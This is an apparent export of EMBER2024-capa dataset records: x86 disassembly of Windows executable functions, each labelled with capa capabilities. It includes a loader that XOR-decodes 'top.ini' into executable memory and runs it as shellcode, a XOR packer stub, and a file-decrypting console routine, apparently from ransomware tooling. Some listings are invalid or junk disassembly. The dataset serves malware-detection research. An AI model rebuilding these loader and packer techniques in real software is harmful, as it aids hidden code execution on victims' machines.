joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403584
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xffffffff
push 0
push pe_nt_image_headers32
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.dll_CreateFileW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4035c9
jmp 0x403681
xor eax, eax
xor edx, edx
sub eax, 0x86
sbb edx, 0
push 2
push 0
push edx
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
jne 0x4035ec
jmp 0x403681
push 0
lea eax, [ebp - 8]
push eax
push 2
lea eax, [ebp - 0xa]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_ReadFile
test eax, eax
jne 0x403606
jmp 0x403681
push 0x2e0
call fcn.00401fa8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40361b
jmp 0x403681
mov esi, dword [ebp - 0x10]
add esi, 0x25a
movzx eax, word [ebp - 0xa]
sub esi, eax
mov ebx, 0x2e0
mov eax, esi
sub eax, dword [ebp - 0x10]
sub ebx, eax
xor eax, eax
xor edx, edx
sub eax, ebx
sbb edx, 0
push 2
push 0
push edx
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
jne 0x403653
jmp 0x403681
push 0
lea eax, [ebp - 8]
push eax
push ebx
push esi
push dword [ebp - 4]
call sub.KERNEL32.dll_ReadFile
test eax, eax
jne 0x403669
jmp 0x403681
cmp dword [ebp - 8], 0
jne 0x403679
push dword [ebp - 0x10]
call fcn.00401fe4
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40368f
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40369c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 0x10]
mov dword [eax], 0x25002d
mov dword [eax + 4], 0x75
cmp dword [ebp - 8], 0
je 0x4036d8
push dword [ebp - 8]
call fcn.00401fe4
mov dword [ebp - 8], 0
push dword [ebp - 4]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x26]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
mov esi, eax
lea eax, [esi*2 + 0x16]
push eax
push dword [ebp + 8]
call fcn.0040206c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403708
jmp 0x403772
push dword [ebp - 8]
call sub.SHLWAPI.dll_PathFindExtensionW
mov edi, eax
cmp word [edi], 0
je 0x40374f
push edi
call sub.msvcrt.dll_wcslen
add esp, 4
mov ebx, eax
lea eax, [ebx*2 + 2]
push eax
push edi
lea eax, [edi + esi*2]
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
lea eax, [esi*2]
push eax
lea eax, [ebp - 0x26]
push eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x40375e
lea eax, [ebp - 0x26]
push eax
push dword [ebp - 8]
call sub.msvcrt.dll_wcscat
add esp, 8
inc dword [ebp - 4]
push dword [ebp - 8]
call sub.KERNEL32.dll_GetFileAttributesW
cmp eax, 0xffffffff
jne 0x4036c3
cmp dword [ebp + 8], 0
je 0x403780
push dword [ebp + 8]
call fcn.00401fe4
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403fd0
Capabilities:
Create thread
Resume thread
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push ecx
push edx
push esi
push edi
push 0x40724c
call sub.KERNEL32.dll_SetConsoleTitleW
push 0xfffffffffffffff6
call sub.KERNEL32.dll_GetStdHandle
mov dword [ebp - 4], eax
call sub.KERNEL32.dll_GetConsoleWindow
push 0x63
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
call sub.USER32.dll_SetWindowPos
mov dword [0x407f4c], 0
mov dword [0x407f50], 0
mov dword [0x407f5c], 0
push 0
push 4
push 0
push 0x403f98
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x407f3c], eax
cmp dword [0x407f3c], 0
jne 0x40404e
jmp 0x4041ff
push 0xa
push str.Finding_Files_In_Progress..._r_n
call fcn.00401398
push 0xf
push 0x4072bc
call fcn.00401398
push dword [0x407f3c]
call sub.KERNEL32.dll_ResumeThread
push 0xa
push dword [0x407f3c]
call sub.KERNEL32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x4040c2
push dword [0x407f3c]
call sub.KERNEL32.dll_CloseHandle
push dword [0x407f5c]
push 0x4072d0
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.00401398
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x4040f7
push dword [0x407f5c]
push str.Found__u_File_s__r
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.00401398
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x404071
cmp dword [0x407f5c], 0
jne 0x404105
jmp 0x4041ff
mov dword [0x407f4c], 1
mov dword [0x407f50], 0
mov dword [0x407f60], 0
push 0
push 4
push 0
push 0x403f98
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [0x407f3c], eax
cmp dword [0x407f3c], 0
jne 0x40414a
jmp 0x4041ff
push 0xa
push str._r_n_nDecrypting_Files_In_Progress..._r_n
call fcn.00401398
push 0xf
push str.Wait..._r_n
call fcn.00401398
push dword [0x407f3c]
call sub.KERNEL32.dll_ResumeThread
push 0xa
push dword [0x407f3c]
call sub.KERNEL32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x4041be
push dword [0x407f3c]
call sub.KERNEL32.dll_CloseHandle
push dword [0x407f60]
push 0x407378
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.00401398
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x4041f3
push dword [0x407f60]
push str.Decrypted__u_File_s__r
lea eax, [ebp - 0x21c]
push eax
call sub.msvcrt.dll_swprintf
add esp, 0xc
push 0xf
lea eax, [ebp - 0x21c]
push eax
call fcn.00401398
push dword [ebp - 4]
call sub.KERNEL32.dll_FlushConsoleInputBuffer
jmp 0x40416d
push 0xa
push str._r_n_nDecrypting_Finished
call fcn.00401398
push 0xf
push str._r_n_nPress_Any_Key_To_Exit...
call fcn.00401398
call fcn.004013ec
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4042c0
Capabilities:
Check if file exists
Create thread
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0
push dword [ebp + 8]
call fcn.0040206c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4042ea
jmp 0x40445c
cmp dword [ebp + 0xc], 0
jne 0x40432f
call fcn.00401554
mov ebx, eax
push ebx
call sub.msvcrt.dll_wcslen
add esp, 4
lea eax, [eax + 0xe]
push eax
push ebx
call fcn.0040206c
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call sub.SHLWAPI.dll_PathRemoveFileSpecW
push dword [ebp - 0xc]
call fcn.00401564
push str.trial_dec.log
push dword [ebp - 0xc]
call sub.msvcrt.dll_wcscat
add esp, 8
jmp 0x404381
push dword [ebp + 0xc]
call sub.SHLWAPI.dll_PathFileExistsW
test eax, eax
je 0x404374
push dword [ebp + 0xc]
call sub.KERNEL32.dll_GetFileAttributesW
test ax, 0x10
je 0x404370
push 0x10
push dword [ebp + 0xc]
call fcn.0040206c
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call fcn.00401564
push str.trial_dec.log
push dword [ebp - 0xc]
call sub.msvcrt.dll_wcscat
add esp, 8
jmp 0x404372
jmp 0x404374
jmp 0x404381
push 0
push dword [ebp + 0xc]
call fcn.0040206c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4043a6
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0xc]
call sub.KERNEL32.dll_CreateFileW
mov dword [0x40770c], eax
push dword [ebp - 8]
call sub.SHLWAPI.dll_PathFileExistsW
test eax, eax
jne 0x4043d8
cmp dword fs:[0x34], 2
jne 0x4043ce
push 0
push dword [ebp + 8]
push 1
push dword [0x40770c]
call fcn.00402230
push dword [ebp - 8]
call fcn.00401fe4
jmp 0x40443a
mov dword [0x407f4c], 1
mov dword [0x407f50], 0
push 0
push 0
push dword [ebp - 8]
push fcn.00403cec
push 0
push 0
call sub.KERNEL32.dll_CreateThread
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40443a
push 0xffffffffffffffff
push dword [ebp - 4]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [ebp - 4]
call sub.ntdll.dll_NtClose
lea ecx, [0x407f1c]
mov eax, dword [0x407f18]
mov edx, eax
lock cmpxchg dword [ecx], edx
jne 0x404431
jmp 0x40443a
push 0x64
call sub.KERNEL32.dll_Sleep
jmp 0x40441c
cmp dword [ebp - 0xc], 0
je 0x404448
push dword [ebp - 0xc]
call fcn.00401fe4
cmp dword [0x40770c], 0xffffffff
je 0x40445c
push dword [0x40770c]
call sub.ntdll.dll_NtClose
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x404c62
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xffffffdc
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], eax
mov dword [0x40770c], 0xffffffff
call fcn.004012d0
test eax, eax
jne 0x404c99
call fcn.00404c30
call fcn.004022e0
test eax, eax
jne 0x404e6d
call fcn.004024fc
call fcn.004012d0
test eax, eax
jne 0x404cb9
call fcn.00402b3c
push str.ntdll.dll
call sub.KERNEL32.dll_GetModuleHandleW
push str.NtSetThreadExecutionState
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x404ce3
lea eax, [ebp - 0xc]
push eax
push 0x80000001
call dword [ebp - 0x24]
call fcn.00402770
call fcn.0040233c
mov dword [0x408084], eax
call sub.KERNEL32.dll_GetCommandLineW
mov ecx, eax
lea eax, [ebp - 8]
push eax
push ecx
call sub.SHELL32.dll_CommandLineToArgvW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404d11
jmp 0x404e4f
cmp dword [ebp - 8], 1
ja 0x404d37
call fcn.004033b0
mov dword [ebp - 0x10], eax
call fcn.00404c0c
cmp dword [ebp - 0x10], 0
je 0x404d32
push dword [ebp - 0x10]
call fcn.00403430
jmp 0x404e4f
mov ebx, dword [ebp - 4]
add ebx, 4
dec dword [ebp - 8]
jmp 0x404dd0
push str._auto
push dword [ebx]
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x404d67
mov dword [ebp - 0x18], 1
add ebx, 4
dec dword [ebp - 8]
jmp 0x404dd0
push str._path
push dword [ebx]
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x404d9c
add ebx, 4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x404d88
jmp 0x404dda
push dword [ebx]
pop dword [ebp - 0x20]
mov dword [ebp - 0x14], 1
add ebx, 4
dec dword [ebp - 8]
jmp 0x404dd0
push str._log
push dword [ebx]
call sub.msvcrt.dll__wcsicmp
add esp, 8
test eax, eax
jne 0x404dca
add ebx, 4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x404dbd
jmp 0x404dda
push dword [ebx]
pop dword [ebp - 0x1c]
add ebx, 4
dec dword [ebp - 8]
jmp 0x404dd0
add ebx, 4
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x404d45
cmp dword [ebp - 0x18], 0
je 0x404e05
call fcn.004033b0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404df3
call fcn.00403fd0
cmp dword [ebp - 0x10], 0
je 0x404e01
push dword [ebp - 0x10]
call fcn.00403430
jmp 0x404e4f
cmp dword [ebp - 0x14], 0
je 0x404e34
call fcn.004033b0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404e24
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.004042c0
cmp dword [ebp - 0x10], 0
je 0x404e32
push dword [ebp - 0x10]
call fcn.00403430
jmp 0x404e4f
call fcn.004033b0
mov dword [ebp - 0x10], eax
call fcn.00404c0c
cmp dword [ebp - 0x10], 0
je 0x404e4f
push dword [ebp - 0x10]
call fcn.00403430
cmp dword [ebp - 4], 0
je 0x404e5d
push dword [ebp - 4]
call sub.KERNEL32.dll_GlobalFree
cmp dword [ebp - 0x24], 0
je 0x404e6d
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x24]
push 0
call sub.KERNEL32.dll_ExitProcess
Function at 0x404ebc
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x404ee0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x404ec8
add dl, dl
jne 0x404eeb
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x404f3c
xor eax, eax
add dl, dl
jne 0x404ef8
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x404fd9
add dl, dl
jne 0x404f07
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f12
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f1d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f28
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x404f32
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x404ed7
mov eax, 1
add dl, dl
jne 0x404f4a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x404f55
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x404f41
sub eax, ebx
mov ebx, 1
jne 0x404f88
mov ecx, 1
add dl, dl
jne 0x404f6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x404f79
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x404f65
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404ed7
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x404f9f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x404faa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x404f96
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404ed7
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x404ffa
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x404ed7
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret
Function at 0x40aec0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6a8]
jne 0x40aeca
repz ret
jmp fcn.00411f9c

Function at 0x420eed
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6a8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f72b
and dword [ebp - 0x14], 0
cmp dword [0x462c6c], 0
mov dword [ebp - 0x18], eax
jne 0x420fa0
push 0x404348
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x421048
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40433c
push ebx
call edi
test eax, eax
je 0x421048
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x40432c
push ebx
mov dword [0x462c6c], eax
call edi
push eax
call esi
push 0x404318
push ebx
mov dword [0x462c70], eax
call edi
push eax
call esi
push 0x4042fc
push ebx
mov dword [0x462c74], eax
call edi
push eax
call esi
mov dword [0x462c7c], eax
test eax, eax
je 0x420fa0
push 0x4042e4
push ebx
call edi
push eax
call esi
mov dword [0x462c78], eax
mov eax, dword [0x462c78]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x420ff9
cmp dword [0x462c7c], ecx
je 0x420ff9
push eax
call esi
push dword [0x462c7c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x420ff9
test ebx, ebx
je 0x420ff9
call edi
test eax, eax
je 0x420ff0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x420ff0
test byte [ebp - 8], 1
jne 0x420ff9
or dword [ebp + 0x10], 0x200000
jmp 0x42102c
mov eax, dword [0x462c70]
cmp eax, dword [ebp - 0x18]
je 0x42102c
push eax
call esi
test eax, eax
je 0x42102c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42102c
mov eax, dword [0x462c74]
cmp eax, dword [ebp - 0x18]
je 0x42102c
push eax
call esi
test eax, eax
je 0x42102c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x462c6c]
call esi
test eax, eax
je 0x421048
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42104a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040aec0
leave
ret
Function at 0x422c40
Capabilities:
Access the windows event log
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1804
call fcn.00421d20
cmp dword [0x803980], 0x37
jne 0x422d0a
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0x404520
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x404538
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x4045a0
push 0
lea ecx, [esp + 0x80c]
push ecx
push 0x4045c0
push 0x4045e8
push 0x404608
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
push 0
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push 0
lea eax, [esp + 0x1008]
push eax
push 0x404640
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov ecx, dword [0x803984]
mov eax, dword [0x7ffdf0]
mov dl, byte [ecx + esi + 0x38d6]
mov byte [eax + esi], dl
add esp, 0x1804
ret
Function at 0x4069f8
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push 0
push 0
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
sub eax, 3
mov edx, dword [ecx]
imul eax, edx
cmp al, 0x7c
je 0x406a46
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessId]
cmp eax, dword [edx + ebp]
je 0x406a86
mov eax, 0x406a41
lea eax, [edx + eax]
push ebp
push eax
push 0
call sub.KERNEL32.dll_EnumResourceTypesA
test eax, eax
jne 0x406a5f
jmp 0x406a86
retf
cmc
nop
mov eax, esp
lea eax, [eax + 8]
mov ecx, eax
or eax, dword [ecx]
and eax, dword [ecx]
cld
or eax, 7
xchg dword [esp + 0xc], edx
lea eax, es:[eax + 0x78968e]
add eax, 0xff87c9b8
mov ss, word [esi - 0x47faff88]
leave
xchg edi, edi
add dword es:[edx - 0x1b4], eax
mov ecx, dword [esp]
sub esp, 0xffffffec
sub eax, eax
push cs
pop dx
push dx
push ecx
jmp 0x406a44
add byte [eax], al
add byte [eax], al
sar edi, 0x41
pop eax
pop es
cmpsd dword [esi], dword es:[edi]
mov edx, 0xd2fb00a6
add byte [edx - 0x66ff2000], dh
into
invalid
Function at 0x40eb17
Capabilities:
Get number of processors

Disassembly:
mov ecx, ebx
stc
pushal
stc
nop
jb 0x40d392
leave
add byte [ebp], ah
add byte [eax], al
add byte [eax - 0x68], ah
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x491e5720
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x7aeb2b35
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x1002bc80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
movzx eax, ax
push esi
mov esi, eax
mov dword [ebp - 4], eax
push edi
shr esi, 8
xor eax, eax
xor edi, edi
mov dword [ebp - 8], esi
cmp dword [ebp + 0x10], eax
jbe 0x1002bce0
mov ebx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
movzx ecx, word [ecx + edi*2]
mov edx, ecx
movzx ecx, cl
shr edx, 8
add edx, eax
cmp esi, ecx
jb 0x1002bce0
jne 0x1002bcd8
cmp eax, edx
jge 0x1002bcd8
mov ecx, dword [ebp + 8]
movzx esi, cl
movzx ecx, byte [eax + ebx]
cmp cx, si
je 0x1002bd08
inc eax
cmp eax, edx
jl 0x1002bcc7
mov esi, dword [ebp - 8]
inc edi
mov eax, edx
cmp edi, dword [ebp + 0x10]
jb 0x1002bca6
mov edi, dword [ebp + 0x1c]
xor eax, eax
mov bl, 1
test edi, edi
je 0x1002bd20
mov esi, dword [ebp + 0x18]
nop
movzx ecx, byte [eax + esi]
test cl, cl
jns 0x1002bd11
movzx edx, byte [eax + esi + 1]
inc eax
and ecx, 0x7f
shl ecx, 8
or edx, ecx
jmp 0x1002bd13
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, ecx
sub dword [ebp - 4], edx
js 0x1002bd20
inc eax
xor bl, 1
cmp eax, edi
jb 0x1002bcf0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret